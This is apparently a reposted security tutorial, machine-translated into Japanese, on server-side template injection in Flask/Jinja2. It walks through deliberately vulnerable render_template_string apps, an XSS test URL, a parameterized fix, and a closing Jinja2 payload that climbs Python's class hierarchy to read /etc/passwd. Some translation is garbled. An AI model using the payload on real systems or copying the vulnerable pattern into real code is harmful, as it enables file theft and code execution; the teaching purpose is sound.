SSTIテンプレート注入の概要

Pythonテンプレート

  • Pythonテンプレートは、Tornado、Flask、Djangoです。
  • テンプレートエンジンは、テンプレートを動的に分析し、テンプレートエンジンに渡された変数を置き換え、最終的に顧客に表示します。
  • SSTIサーバー側のテンプレートインジェクションは、コードが安全でない文字列スプライシングを使用してテンプレートファイルを作成し、ユーザーの入力を過度に信頼しているためです。

Flask Jinja 2

  • 文法
  • {%……%}ステートメント
  • { {…}}印刷テンプレートの出力式
  • {#…#} ノート
  • #…##行ステートメント

フラスコフレームワーク学習

ルーティング

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return "欢迎来到我的世界"

@app.route('/hello')
def hello():
    return '我们的生活甜的像糖'
    
if __name__ == '__main__':
    app.run()

@ app.route( '/')は2つのルートを '/' '/ hello'に設定します
@ app.route()はFlaskのインスタンス化されたオブジェクトであり、Flaskはデコレータを使用してユーザーがアクセスする必要のあるURLパスを識別します

  • 例:上記の例
    ここに画像の説明を挿入

変数

<>ルートの可変パラメータを定義します。<>には名前が必要です。

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return "欢迎来到我的世界"

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • 運転結果
    ここに画像の説明を挿入

ルーティング要求方法の変更

@app.route('/',methods=['GET','POST'])
def index():
   return "GET/POST"

フラスコレンダリング

テンプレートは、プレースホルダーを使用してダイナミックのダイナミック部分を表現します。
レンダリングは、プレースホルダーによって表される面のプレースホルダーによって取得された実際の値を置き換え、最後に最終文字列を返します
。render_template()は、指定されたものをレンダリングするために使用されます。ファイル。
render_template_string()は、文字列を描画するために使用されています。

  • SSTIの脆弱性は、関数render_template_string()に存在します

render_template()

  • 次のファイルを作成します
    ここに画像の説明を挿入
  • テンプレート:フォルダはテンプレートファイルを保存するために使用されます
  • test1:フラスコフレームワークの実行中のファイルです
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = 'This is index page'
    content = '我可以陪你去看星星'
    return render_template('index.html',title = title,content = content)

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1>{
   
   {title}}</h1>
    <p>{
   
   {content}}</p>
</body>
</html>
  • 運転結果
    ここに画像の説明を挿入

Render_template_string()

from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = '<h1>我可以陪你去看星星</h1>'
    return render_template_string(title)

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • 運転結果
    ここに画像の説明を挿入

コードブロック

  • {%……%}制御コードブロックは、ループや条件などのいくつかの論理関数を実現できます。
  • { {…}}変数コードブロック
  • {#…#} ノート
  • #…##行ステートメント

SSTI初体験

  • SSTIにより、RCEの脆弱性がrender_template_string()関数に存在します
  • 次に、コード例を示します
from flask import Flask,url_for,redirect,render_template,render_template_string,request

app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = request.args.get('title') # get方式获取id
    html="<h1>%s</h1>"%(title)
    return render_template_string(html)

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • 渡しますか?title = aaaここに画像の説明を挿入
  • XSSを確認する
http://127.0.0.1:5000/index/?title=%3Cscript%3Evar%20current_day%20=%20new%20Date();var%20today%20=%20current_day.getTime();alert(today);%3C/script%3E

ここに画像の説明を挿入

  • コードを変更する
from flask import Flask,url_for,redirect,render_template,render_template_string,request
from jinja2 import Template

app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = request.args.get('title','guest') # get方式获取id
    t = Template("Hello" + title)
    return t.render()

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • SSTIインジェクションを確認する
    ここに画像の説明を挿入
  • この問題は回避できます。回避する方法は次のとおりです。
title = request.args.get('title', 'guest')
t = Template("Hello {
    
    {n}}")
return t.render(n=title)

SSTI与RCE

from flask import Flask,url_for,redirect,render_template,render_template_string,request

app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = request.args.get('title') # get方式获取id
    html="<p>%s</p>"%(title)
    return render_template_string(html)

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • この環境で、SSTIとRCEの実行を試してみましょう

jinja2では、Pythonのいくつかのオブジェクトとメソッドに直接アクセスできます

  • baseは、クラスによって直接継承されたクラスをタプルとして返します
  • mroは、継承関係チェーンをタプルとして返します
  • classは、オブジェクトが属するクラスを返します
  • グローバルはdictを使用して、関数が配置されているモジュールの名前空間内のすべての変数を返します
  • subclasses()は、クラスのサブクラスをリストとして返します
  • initクラスの初期化メソッド
  • 組み込みの組み込み関数。int()、list()など、Pythonで直接実行できる関数もあります。これらの関数は次のようになります。
  • 自分で作った環境に注入する
- 寻找基类
  ''.__class__.__base__
<class 'object'>
- 寻找可引用类
''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>
  • ペイロード:
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{
    
    % endif %}{
    
    % endfor %}

おすすめ

転載: blog.csdn.net/CyhDl666/article/details/114886494